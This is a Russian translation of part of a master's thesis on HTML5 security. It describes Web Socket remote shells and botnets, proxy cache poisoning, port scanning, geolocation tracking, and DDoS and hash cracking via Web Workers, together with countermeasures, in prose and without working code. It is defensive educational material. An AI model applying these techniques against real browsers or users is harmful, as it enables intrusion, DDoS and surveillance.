Угроз "Раскрытие конфиденциальных данных", "Отслеживание пользователей" и "Рассылка спама" нельзя избежать путем безопасной реализации веб-приложений на сервере. Эти угрозы затрагивают ПА, поэтому конечные пользователи должны научиться не регистрировать вредоносные домены в качестве специальных обработчиков протоколов или типов контента.

¹ Ранее в документе автор по-видимому называл их специальными обработчиками схемы (прим. пер.)

Список источников:

[41] Lavakumar Kuppan, Attack and Defense Labs. (2010, Jun.) Chrome and Safari users open to stealth HTML5 AppCache attack. [Online]. http://blog.andlabs.org/2010/06/chrome-and-safari-users-open-to-stealth.html

[42] J. Viega and M. Messier, Secure Programming Cookbook for C and C++. Sebastopol, United States of America: O'Reilly, 2003.

[43] Google Inc.. (2011) Google Caja. A source-to-source translator for securing Javascript-based web content. [Online]. http://code.google.com/p/google-caja/

Безопасность HTML5 – часть четвертая

_{Данный документ содержит выдержки из магистерской диссертации Майкла Шмидта. Здесь отражены рассмотренные в диссертации аспекты HTML5, касающиеся безопасности.}

  _{Автор: Michael Schmidt (Compas Security)}

2.7 Web Sockets API

Коротко говоря, веб-сокеты (Web Sockets) являются полнодуплексными TCP/IP соединениями, но не являются простыми TCP-сокетами. Соединение устанавливается путем превращения протокола HTTP в протокол Web Socket. В отличие от AJAX, который нуждается в двух соединениях: одного для исходящих данных (запросов), а второго для входящих (ответов), веб-сокеты устанавливают полнодуплексное соединение. Традиционный AJAX-запрос связан со значительными накладными расходами: для каждого запроса и ответа приходится передавать полные HTTP-заголовки. Накладные расходы веб-сокетов после установления соединения составляют лишь два байта (на запрос/ответ). "[…] веб-сокеты HTML5 могут уменьшить в 500 или даже в 1000 раз количество информации, передаваемой в HTTP-заголовках, и в три раза сократить время ожидания […]" [44]. Соединения веб-сокетов могут устанавливаться между различными доменами подобно CORS. Рисунок 9 показывает диаграмму последовательности, которая илюстрирует рукопожатие протокола веб-сокетов.

Уязвимость в почтовой системе mail.ru

Рисунок 9. Диаграмма последовательности: процедура рукопожатия Web Socket API

ПА запрашивает HTML-страницу по протоколу HTTP через стандартный GET-запрос.

Сервер отвечает HTML-страницей, содержащей Javascript, который инициирует переключение на протокол Web Socket.

ПА посылает запрос "переключения ПА".

Сервер отвечает сообщением об успешном переключении протокола.

Подробности процедуры рукопожатия можно найти в разделе 5.2.8. Кроме того, в этом разделе показано POC-приложение и соответствующий дамп сетевого трафика.

2.7.1 Уязвимости

Проблемы безопасности, связанные с Web Socket API, схожи с проблемами безопасности CORS. Здесь имеет место та же фундаментальная проблема, состоящая в возможности установить соединение между доменами, не спрашивая разрешения у пользователя; кроме того, запрос посылается без уведомления пользователя. Атакующему достаточно выполнить некоторый JavaScript-код в ПА жертвы, чтобы заставить его установить соединение с произвольным сервером по протоколу веб-сокетов. Это соединение может злоупотребляться атакующим для обмена данными с ПА. Таким образом, нарушаются требования безопасности "Безопасное управление сессиями" и "Контроль доступа".

С появлением Web Socket API становится возможным нарушение требования безопасности "Безопасное кэширование". Поскольку не все прокси-серверы корректно понимают протокол веб-сокетов, атакующий может заставить веб-прокси кэшировать навязанные данные. Это, в свою очередь, может применяться для нарушения всех других требований безопасности, путем навязывания JavaScript-кода Пользовательскому Агенту жертвы.

С Web Socket API связана проблема безопасности, заключающаяся в необходимости проверки данных с чужих доменов. Она также связана с CORS и Web Messaging. Как упоминалось в разделе 2.2.1, эта проблема рассматривается лишь однажды, в разделе 2.5.1.

2.7.2 Угрозы и сценарии атак

Фундаментальная проблема, описанная в разделе 2.7.1, порождает несколько угроз. Для данных угроз далее приводятся сценарии атаки, демонстрирующие то, как атакующий может их эксплуатировать.

Удаленный шелл (Сценарий 1): веб-сокеты можно использовать для установления удаленной командной оболочки от сервера к ПА. Соединение действует до тех пор, пока ПА не будет закрыт. Это нарушает требования безопасности "Безопасная обработка сессий" и "Защита ПА".

Ботнет на базе Всемирной паутины (Сценарий 2): веб-сокеты позволяют серверу установить удаленные шеллы ко многим ПА одновременно. Сервер может использовать эти удаленные шеллы для построения веб-ботнетов. Это нарушает требования безопасности "Безопасная обработка сессий" и "Защита ПА".

Отравление кзша (Сценарий 3): кэш некоторых веб-прокси серверов может быть отравлен из-за непонимания ими рукопожатия веб-сокетов. Это нарушает требование безопасности "Безопасное кэширование".

Сканирование портов (Сценарий 4): Атакующий может злоупотреблять браузером жертвы для сканирования портов внутренних сетей. Это нарушает требования безопасности "Конфиденциальность" и "Безопасная обработка сессий".

2.7.2.1 Сценарий 1 – удаленный шелл на основе веб-сокетов

Для этого сценария атаки предполагается, что атакующий может либо обманом заставить пользователя посетить его вредоносный сайт, либо эксплуатировать XSS-уязвимость в посещаемом пользователем веб-приложении.

После того, как атакующий сможет запустить JavaScript-код в ПА, он сможет установить соединение по протоколу веб-сокетов. После установления соединения он может запустить в Пользовательском Агенте произвольный JavaScript-код. Помимо прочего, это позволяет атакующему получить доступ ко всем данным (в контексте соответствующего домена – политику ограничения домена обойти нельзя) или перенаправить ПА на другие сайты для рассылки спама или установки в ПА вредоносных компонентов. Удаленный шелл действует до закрытия ПА. В течении этого времени атакующий может контролировать поведение ПА, используя весь доступный в JavaScript функционал.

PoC-приложение, эксплуатирующее данную уязвимость, описано в разделе 5.2.8. В разделе показан сайт, который устанавливает удаленный шелл к командному серверу и запускает JavaScript-код, получаемый с этого сервера. Сервер имеет возможность злоупотреблять ПА в своих интересах.

2.7.2.2 Сценарий 2 – ботнет на базе веб-сокетов

Для этой атаки необходимо сделать в целом те же, но более сильные предположения, что и для предыдущей. Атакующий должен иметь возможность либо обманом завлечь большоечисло пользователей на свой сайт, либо эксплуатировать уязвимость на оченьпопулярных сайтах. В разделе 5.1.5 дана высокоуровневая диаграмма, иллюстрирующая эту атаку.

Атакующий затем сможет запускать атаки, используя всю мощь JavaScript. Помимо прочего, такой ботнет можно использовать для проведения DDoS-атак. Определение настоящего источника атаки будет затруднено, поскольку явными источниками атаки будут ПА.

2.7.2.3 Сценарий 3 – отравление кэша веб-прокси

В декабре 2010 года компания Mozilla Foundation решила исключить поддержку веб-сокетов из своего браузера Firefox 4 [45]. Причиной этому стала серьезная эксплуатирующая веб-сокеты атака отравления кэша, продемонстрированная Адамом Бартом и его командой [46]. Адам и его команда продемонстрировали способ отравления кэша прокси, который не понимает веб-сокеты. Диаграмма последовательности, показанная на рисунке 10, обобщает и объясняет эту атаку отравления кэша, основанную на API веб-сокетов.

Рисунок 10 Диаграмма последовательности: рукопожатие протокола веб-сокетов.

[Предусловия: ПА уже разрешил доменное имя malicious.csnc.ch через систему доменных имен (DNS) и установил с malicious.csnc.ch TCP/IP-соединение, которое выделено на рисунке внешней красной рамкой.

ПА запрашивает с malicious.csnc.ch ресурс, содержащий JavaScript-код.

JavaScript-код делает HTTP-запрос перехода на веб-сокеты. Прозрачный прокси не понимает запрос перехода на веб-сокеты и направляет его на malicious.csnc.ch. Malicious.csnc.ch понимает и обрабатывает этот запрос, и, в результате, между ПА и malicious.csnc.ch устанавливается соединение по протоколу веб-сокетов (выделено на рисунке внутренней синей рамкой).

ПА делает запрос к malicious.csnc.ch через Web Socket-соединение. Прозрачный прокси не понимает запроса и, "думая", что это еще один HTTP-запрос, передает его на malicious.csnc.ch. Этот запрос выглядит как полностью корректный HTTP-запрос, но содержит другое имя хоста, another.domain.com, в поле Host HTTP-заголовка. Malicious.csnc.ch возвращает некоторый сфабрикованный нужным образом контент. Прозрачный прокси полагает, что это ответ на последний запрос, и кэширует ресурсы согласно настройкам управления кэшем для домена, содержащегося в поле Host HTTP-заголовка.

Возможность отравления кэша прозрачного прокси существует не из-за изъянов в протоколе веб-сокетов. Причина здесь в том, что прозрачный прокси не понимает рукопожатия данного протокола и действует лишь на основании доменного имени, указанного в поле Host заголовка, которое в этом случае, очевидно, ложно.

2.7.2.4 Сценарий 4 – сканирование портов

Эта атака похожа на описанную в разделе 2.2.2.3 атаку сканирования на основе времени отклика на запрос. Сканирование портов с использованием Web Socket API также определяет состояние порта по времени отклика. На основании этого времени отклика возможно определить, является ли порт открытым, закрытым или фильтрующимся.

Если атакующий хочет просканировать внутреннюю сеть компании, ему нужно завлечь внутреннего сотрудника на свой сайт. Сайт атакующего содержит JavaScript-код, который производит сканирование портов на основе Web Socket API. PoC-приложение, демонстрирующее эту атаку, можно найти в [47].

2.7.3 Контрмеры

Контрмеры можно применить только против угрозы отравления кэша. Нужно обновить веб-прокси, чтобы они корректно обрабатывали рукопожатие протокола веб-сокетов. Дальнейшее кэширование ресурсов не должно быть основано лишь на значении поля Host HTTP-заголовка. Всегда нужно учитывать IP-адрес, соответствующий имени хоста.

Других угроз (удаленный шелл, веб-ботнет и сканирование портов) нельзя избежать путем безопасной реализации серверной стороны. Для этого нужно провести комплексную работу вроде ручного отключения поддержки веб-сокетов в ПА.

2.8 Geolocation API

HTML5 Geolcation API предоставляет возможность определять физическоеместоположение пользователя на основе GPS-положения. До HTML5 определить положение пользователя можно было лишь через плагины вроде Java-апплетов. С приходом HTML5 поддержка определения положения будет встроена в браузеры, которые смогут вычислять положение по широте и долготе. Geolocation API позволяет определить положение с помощью следующих возможностей (с различной точностью):

Выделенный аппаратный GPS-приемник в устройстве

Wifi и сотовые (основанные на сотовых вышках) сети

На основе IP-адреса

Положение, определенное пользователем

PoC-приложение, использующее HTML5 Geolocation API, можно найти в разделе 5.2.9. Это приложение определяет положение ПА, используя HTML5 Geolocation API. В разделе также приводится JavaScript-код для определения положения и скриншоты браузера.

2.8.1 Уязвимости

С Geolocation API связаны в основном проблемы приватности. Каждый сайт может определять положение пользователя, которое может использоваться поставщиками веб-приложений для идентификации и отслеживания пользователей. Это нарушает требование безопасности "Защита личных сведений".

2.8.2 Угрозы и сценарии атак

В следующем списке перечислены угрозы, связанные с Geolocation API, и то, как они могут быть использованы в ходе атаки. Все эти угрозы нарушают требование безопасности "Защита личных сведений".

Отслеживание пользователей: веб-приложения могут осуществлять отслеживание пользователя на основе Geolocation API. В этом случае веб-приложению нужно заставить пользователя всегда делиться информацией о местоположении с соответствующим доменом. Затем приложение может идентифицировать пользователя на основе местоположения. Чем точнее информация о местоположении, тем точнее может осуществляться отслеживание пользователя. Тем не менее, отслеживание на основе Geolocation API затруднено в случае мобильных пользователей.

Отслеживание физического перемещения. Для этой атаки необходимы те же предположения, что и для сценария отслеживания пользователя. Кроме того, предполагается, что у пользователя есть учетная запись в веб-приложении, и потому приложение знает, какой именно пользователь к нему обращается. Каждый раз, когда пользователь обращается к веб-приложению, отслеживается его положение. На основе этой информации сайт может создать профиль передвижений пользователя.

Корреляция пользователя между доменами. В этой атаке для всех участвующих доменов делаются те же предположения, что и для сценария отслеживания пользователя. Пусть домены-участники хотят сопоставлять сессии разных пользователей между доменами. Они, таким образом, делятся информацией о местоположениях посетителей. В зависимости от точности информации, возможно сопоставление пользователей. Это особенно проблематично, если у пользователя есть учетная запись в приложении A, но нет аккаунта в приложении B. Если оба домена участвуют в обмене информацией о положении, веб-приложение B может установить личность пользователя (приложение A посылает приложению B информацию о местоположении пользователя после того, как тот выполнит вход в приложение A. Пользователь, пришедший повторно с одного места, вероятно, тот же, кто пришел с этого места в прошлый раз).

Обход анонимайзера можно осуществить двумя способами. Первый заключается в том, что целевой сайт напрямую запрашивает информацию о местоположении пользователя (если пользователь разрешил этому сайту получать доступ к информации о местоположении, то информация будет посылаться автоматически). Суть второго способа в том, что точка выхода, используемая, например в TOR [48], манипулирует ответами, возвращаемыми ПА. Эти измененные ответы заставляют ПА вернуть информацию о местоположении (пользователю все еще нужно подтвердить передачу информации). В сочетании с вышеописанными атаками данный подход позволяет нарушать анонимность пользователя.

2.8.3 Контрмеры

Проблемы приватности касаются в основном пользователей, поэтому пользователям необходимо научиться давать лишь ограниченный доступ к информации о местоположении и лишь доверенным поставщикам веб-приложений. Все упомянутые угрозы не могут быть смягчены путем безопасной реализации серверной стороны.

2.9 Возможности HTML5, неявно относящиеся к безопасности

Этот раздел покрывает те возможности HTML5, которые не имеют прямого влияния на безопасность, но в комбинации с другими возможностями могут быть использованы для запуска или упрощения атак на веб-приложения. В разделе дано краткое описание таких возможностей и объяснены связанные с ними проблемы безопасности.

2.9.1 Web Workers

До появления Web Workers использование Java-скриптов не годилось для запуска долго обрабатывающихся задач, поскольку это занимало у JavaScript больше времени, чем у нативного кода, и подвешивало браузер до окончания обработки. Web Workers предоставляют Java-скриптам возможность фонового запуска [49]. Эта технология имеет некоторое сходство с потоками, использующихся в других языках программирования. С Web Workers JavaScript может выполнять некоторую работу вроде обновления данных или доступа к ресурсам, в то время как сайт продолжает реагировать на действия пользователя. Технология Web Workers сама по себе не рождает новых уязвимостей, но облегчает эксплуатирование существующих. Например, Web Workers упрощает установление и использование веб-ботнета или обратного шелла на основе веб-сокетов и уменьшает вероятность их обнаружения пользователем: вся обработка может делаться в фоне.

В качестве примера, демонстрирующего возможности Web Workers, далее описаны две потенциальные атаки:

Взлом хэшей в JavaScript-облаке (согласно [50]). JavaScript можно использовать для взлома хэшей. Взлом в данном контексте означает атаку, состоящую в переборе всевозможных строк до тех пор, пока вычисленный от очередной строки хэш не совпадет со взламываемым. JavaScript работает медленнее, чем нативный код, но все же достаточно быстр. Можно перебрать около 100000 MD5-хэшей за секунду (на процессоре Intel i5, в браузере Opera), но это в 110 раз медленнее, чем для нативного кода. Недостаток в скорости может быть скомпенсирован возможностью распределенной обработки в JavaScript-"потоках" нескольких браузеров. Это было продемонстрировано в инструменте Ravan [51]. Ravan – основанная на JavaScript распределенная вычислительная система с возможностью взлома MD5 и SHA хэшей, использующая вычислительные мощности множества браузеров из облака. Чтобы начать обработку, участникам вычислений нужно лишь открыть соответствующий сайт в браузере, что и запустит JavaScript Web Worker.

DDoS-атаки на основе CORS и Web Workers (согласно [52]). Возможность запуска DDoS-атак на основе CORS была описана ранее в 2.2.2.2. Тем не менее, на один и тот же URL нельзя посылать много CORS-запросов, поскольку, если сервер не включит в ответ заголовок Access-Control-Allow-Origin, браузер в дальнейшем не будет посылать запросы на соответствующий URL. Это можно обойти с помощью сочетания CORS и Web Workers. Каждый CORS-запрос делается уникальным путем вставки в URL случайной строки, меняющейся с каждым запросом. Используя эту технику, возможно послать с одного браузера на сервер около 10000 запросов в секунду. Размещение атакующего кода на часто посещаемом сайте может иметь серьезные последствия для доменов, являющихся жертвой подобной DDoS-атаки.

2.9.2 Новые элементы, атрибуты и CSS

Введение в HTML5 новых элементов и атрибутов расширяет возможности атакующего по запуску атак внеднения кода, например, атак типа "межсайтовый скриптинг" (Cross-Site-Scripting или XSS). Веб-приложения, которые на данный момент сами по себе неуязвимы к XSS могут стать уязвимыми из-за новых атрибутов и элементов HTML5. XSS-Фильтры веб-приложений можно будет обойти, если им не известны новые HTML-тэги.

Помимо этих новых тэгов, новая версия CSS3 (Cascading Style Sheets 3 или Каскадные таблицы стилей 3) также предоставляет возможности для новых атак. Становится возможным внедрять JavaScript-код в атрибут style и появляются новые способы влияния на внешний вид сайта. Это, к примеру, открывает возможности для Кликджекинга.

В разделе 5.3.4 дано несколько примеров новых элементов и атрибутов и перечислено то, как они могут быть использованы в атаках внедрения кода.

2.9.3 Песочница для Iframe-ов.

В HTML5 появилась новая возможность, связанная с Iframe-ами и называемая "песочницей" [53]. Она может использоваться для ограничения привилегий загруженного Iframe-а: например, запрета на запуск JavaScript или всплывающих окон. Кроме того, Iframe-у в песочнице можно вернуть некоторые привилегии вроде allow-same-origin, allow-top-navigation, allow-forms и allow-scripts.

<iframe sandbox="allow-scripts"

src="http://untrusted.csnc.ch/index.html"></iframe>

Проблема здесь кроется в том, что старые ПА не понимают атрибуты песочницы, и результатом может стать неожиданное поведение ПА. Поэтому перекладывать всю безопасность на значение атрибута песочницы не стоит; атрибуты песочницы следует использовать как дополнительный слой защиты, а не как основной. Если разработчик загружает с помощью Iframe-ов на свой сайт ненадежный контент и полагается только на значение атрибута песочницы, то в ПА жертвы, который не умеет работать с песочницей, может быть запущен вредоносный JavaScript-код. Если необходимо запустить Iframe в песочнице, нужно сначала проверить, поддерживает ли браузер песочницы для Iframe-ов. В случае, когда браузер не поддерживает песочницу, загружать ненадежный контент не следует.

2.9.4 События, посылаемые сервером

События, посылаемые сервером (Server-Sent Events, SSE), - это способ установления однонаправленного канала между сервером и ПА [54]. По этому каналу сервер может посылать клиенту данные и предоставлять ему в любое время информацию о доступных обновлениях. Помимо веб-сокетов, это еще одна возможность HTML5, которую можно использовать для создания удаленного канала или ботнет-атак, как это описано в разделе 2.7.2. Тем не менее, Server-Sent Events более ограничены, поскольку канал работает лишь в направлении от сервера к клиенту. Однако, SSE обладают тем преимуществом, что используют для взаимодействия обычный HTTP, а не новый протокол, который имеет место в случае веб-сокетов. В разделе 5.2.4 показано PoC-приложение, реализующее SSE, дана дополнительная информация о SSE и скриншот приложения.

2.10 Заключение

Как видно из данной главы, в HTML5 присутствует множество изъянов безопасности. HTML5 не только вводит новые угрозы, но и ухудшает существующие в HTML 4.01 и облегчает их эксплуатацию. Возможности атакующего расширяются. Ухудшилась ситуация с XSS, являющимся примером фундаментальной проблемы веб-приложений [55]. Все, что было возможно с XSS, осталось и в HTML5, но добавились и новые возможности, например, получение доступа к Локальному Хранилищу. JavaScript по прежнему обладает большой мощью, а весь JavaScript-код, запускаемый в ПА, имеет полный доступ к глобальным объектам. HTML5 усложняет строение браузеров, а сложность, как известно из разработки ПО, отрицательно влияет на безопасность [56]. Существующие механизмы уже не могут обеспечить эффективную защиту от атак, использующих возможности HTML5.

В HTML5 ПА получают новые способности, что рождает вектора атак, направленные прямо на ПА. В защите нуждается не только серверная, но и клиентская сторона. Защита должна осуществляться либо разработчиками веб-приложений, либо производителями ПА. Не все уязвимости могут быть закрыты путем безопасной реализации серверной стороны: некоторые оказывают влияние на стороне клиента, и сервер ничего не может сделать для защиты клиентской части. Примером таких уязвимостей является отравление кэша оффлайнового приложения. Поскольку некоторые атаки нацелены прямо на ПА, сервисы безопасности должны применяться и на стороне клиента.

Следующий список резюмирует общие принципы безопасности, описанные в последних разделах, которые изменились в HTML5 по сравнению с HTML 4.01:

В HTML5 была ослаблена политика ограничения домена. В HTML 4.01 ресурсы можно было загружать только с исходного домена или с разрешенных явно указанных чужих доменов (например, изображения). В HTML5 источник информации неясен и, в любом случае, не может контролироваться сервером. CORS и соединения через веб-сокеты являются тому примером: ПА может устанавливать соединение с чужими доменами и обмениваться с ними данными без участия сервера исходного домена. Кроме того, пользователь не может контролировать то, с какими доменами браузер устанавливает соединение. Это может привести к злоупотреблению пользовательскими сессиями для нарушения требований безопасности так, как это было описано выше.

Границы безопасности изменились. Появление новых возможностей привело к тому, что границы безопасности сдвинулись в сторону ПА. В то время как в HTML 4.01 контроль доступа к функциям и данным осуществлялся только на сервере, в оффлайновых приложениях HTML5 проверки прав доступа переместились на сторону клиента. С появлением Web Storage данные перестали храниться только на сервере, контроль доступа также стал производиться на стороне клиента. При использовании CORS сервер не имеет полного контроля над данными, посылаемыми и получаемыми ПА; проверку данных приходится делать внутри ПА (это же касается Web Messaging и веб-сокетов).

Расширение поверхности атаки. Новые возможности HTML5 расширяют поверхность атаки. Это происходит путем появления новых угроз, вроде регистрации специальных обработчиков схем и протоколов, или путем ухудшения ситуации с существующими угрозами вроде отслеживания пользователей.

Прозрачное выполнение функций и прозрачный доступ к данным. Некоторые возможности HTML5 используются прозрачно для пользователя. Например, CORS осуществляется не спрашивая разрешения у пользователя, хранение и доступ к данным в Web Storage производятся тоже без ведома пользователя. В результате конечный пользователь не имеет непосредственного контроля над действиями ПА и не может заставить ПА не нарушать требования безопасности.

ПА становится целью атаки. Объектами атак являются теперь не только веб-приложения, но и ПА. Помимо уязвимостей на стороне сервера, появились уязвимости и на клиентской стороне. Применения сервисов безопасности лишь на сервере не достаточно для защиты веб-приложений. Веб-приложения также могут быть атакованы через клиента, например, через отравление кэша оффлайнового приложения. Приватность пользователя также подвержена опасности злоупотребления такими возможностями HTML5, как вышеописанный Geolocation API.

Внедрение HTML5 повлияет на безопасность веб-приложений. В HTML5 появляются новые возможности, которые, как показывает глава 2, рождают новые проблемы безопасности. Эти возможности либо приводят к появлению новых уязвимостей, либо делают более критичным влияние существующих угроз. При разработке HTML5 уделялось внимание безопасности, но предложенные меры борьбы с угрозами веб-приложений не достаточны. В HTML5 возросли возможности для атак не только из-за появления нового функционала, но также и за счет существующих нерешенных угроз.

Вследсвтвие этого, HTML5 усложняет как разработку веб-приложений, так и защиту. Появилось несколько возможностей для атаки, которые затрудняют как безопасную реализацию, так и поиск уязвимостей через тестирование на проникновение. Поставщики веб-приложений должны быть готовы защитить свои веб-приложения, даже если они не используют HTML5, поскольку HTML5 в любом случае повлияет на их безопасность. Эксперты по безопасности веб-приложений предыдущего поколения не будут иметь опыта работы с HTML5 и не будут знать об уязвимостях и порождаемых ими угрозах. HTML5 повлияет и на конечных пользователей. Находясь в Интернет, они должны будут концентрироваться на безопасности, особенно когда дело касается приватности. В противном случае они могут невольно раскрыть веб-приложению больше информации, чем хотели бы, или стать целью атак, которые могли бы заметить.

Глава 3. Взгляд в будущее

Довольно трудно делать какие-нибудь подробные предсказания по поводу того, как HTML5 повлияет на безопасность веб-приложений. Вероятнее всего, HTML5 повлияет на безопасность на веб-приложений техническим образом, при этом он может не затронуть социальное поведение пользователей. Новые технологии могут повлиять на то, как конечные пользователи будут использовать веб-приложения, но не всегда новые веб-стандарты являлись "пробивными" технологиями (см. главу 1). Если HTML5 будет введен в действие, а соответствующие уязвимости не будут исправлены, большую роль станут играть поставщики сервисов безопасности. Будут ли это относительно простые решения вроде предоставления защищенного браузера по запросу или применение решений полностью защищенного доступа к Интернет, зависит от пользователя. В любом случае поставщикам веб-приложений нужно будет приложить колоссальные усилия, чтобы гарантировать конфиденциальность, целостность и доступность. Далее, традиционные приложения, которые до сих пор запускались непосредственно в ОС, могут переместиться во Всемирную паутину. Приложения вроде почтовых клиентов, текстовых процессоров или редакторов изображений смогут полноценно запускаться из браузера. Также будет возможно использовать HTML5 для запуска этих приложений в оффлайн-режиме. Это открывает новые пути для вредоносного ПО. Все, что понадобится пользователю для запуска веб-приложения HTML5, - браузер, поддерживающий данный стандарт. Это идеальная возможность для вредоносного ПО внедриться однажды, чтобы выполняться повсеместно – HTML5 платформонезависим. С введением HTML5 появится множество вредоносного ПО, использующего лишь JavaScript и возможности HTML5. Цели вредоносного ПО теперь не будут ограничены лишь серверами веб-приложений, а будут также включать ПА (не считая эксплуатауции уязвимостей браузеров, имевшей место и ранее), поскольку HTML5 предоставляет ПА богатые возможности. Атаки на ПА смогут стать непрерывными во времени, не эксплуатируя никаких уязвимостей ПА, а лишь за счет использования, например, Web Storage. В целом можно сказать, что осуществление безопасности веб-приложений за счет лишь технических решений – очень сложная задача и не может быть выполнена всеми поставщиками веб-приложений. Таким образом, конечные пользователи крайне ответственны за осторожное использование веб-приложений и предоставление персональных и конфиденциальных данных только доменам с большой степенью доверия.

Глядя на процесс стандартизации HTML5 и находящиеся на подходе веб-стандарты, хотелось бы, чтобы серьезные комитеты по стандартизации вроде W3C и WHATWG обратили внимание на существующие фундаментальные проблемы безопасности веб-приложений. Решить эти проблемы непросто, поскольку корни некоторых проблем находятся в архитектуре HTML. HTML нуждается в фундаментальных изменениях, которые могут привести к тому, что многие веб-приложения перестанут работать должным образом. Однако, игнорирование фундаментальных проблем безопасности в новых стандартах HTML сделает данную ситуацию еще хуже. Как только стандарты будут утверждены, станет крайне трудно исправить потенциальные изъяны безопасности, которые они порождают. Поэтому новый HTML стандарт должен обращать внимание на комплексную безопасность веб-приложений, а не фокусироваться лишь на новых возможностях. Если производители браузеров и комитеты по стандартизации будут работать вместе, они могут договориться о переходной фазе для введения нового безопасного протокола. В течение этой переходной фазы браузеры будут поддерживать оба протокола: стандартный HTML и новый, безопасный HTML. В зависимости от предоставляемого веб-приложениями контента браузеры будут решать, какой протокол использовать. Либо пользователь сможет конфигурировать браузер так, чтобы разрешать доступ только к тем страницам, которые поддерживают безопасную версию HTML.

Список источников:

[44] P. Lubbers and F. Greco. (2010) HTML5 Web Sockets: A Quantum Leap in Scalability for the Web. [Online]. http://websocket.org/quantum.html

[45] C. Heilmann. (2010, Dec.) WebSocket disabled in Firefox 4. [Online]. http://hacks.mozilla.org/2010/12/websockets-disabled-in-firefox-4/

[46] A. Barth, D. Huang, E. Chen, E. Rescorla, and C. Jackson. (2010, Nov.) Transparent Proxies: Threat or Menace?. [Online]. http://www.adambarth.com/experimental/websocket.pdf

[47] L. Kuppan. (2011, Feb.) HTML5 based JavaScript Network Reconnaissance Tool. [Online]. http://www.andlabs.org/tools/jsrecon.html

[48] The Tor Project, Inc. (2011, Feb.) Tor - a network of virtual tunnels for improving privacy and security on the Internet. [Online]. http://www.torproject.org

[49] The World Wide Web Consortium (W3C). (2010, Dec.) Web Workers. [Online]. http://www.w3.org/TR/workers/

[50] L. Kuppan. (2010, Dec.) Cracking hashes in the JavaScript cloud with Ravan. [Online]. http://blog.andlabs.org/2010/12/cracking-hashes-in-javascript-cloud.html

[51] L. Kuppan. (2011, Feb.) JavaScript Distributed Computing System (BETA). [Online]. http://www.andlabs.org/tools/ravan.html

[52] L. Kuppan. (2010, Dec.) Performing DDoS attacks with HTML5 Cross Origin Requests & WebWorkers. [Online]. http://blog.andlabs.org/2010/12/performing-ddos-attacks-with-html5.html

[53] The World Wide Web Consortium (W3C). (2011, Feb.) HTML5 The iframe element - Global attribute sandbox. [Online]. http://www.w3.org/TR/html5/the-iframe-element.html

[54] The World Wide Web Consortium (W3C). (2009, Dec.) Server-Sent Events. [Online]. http://www.w3.org/TR/eventsource/

[55] D. Crockford. (2010, May) Doug Crockford discusses JavaScript & HTML5 security issues. [Online]. http://answers.oreilly.com/topic/1483-doug-crockford-discusses-javascript-html5-security-issues/

[56] M. Stamp, Information Security: Principles and Practice. Hoboken: John Wiley & Sons, 2005.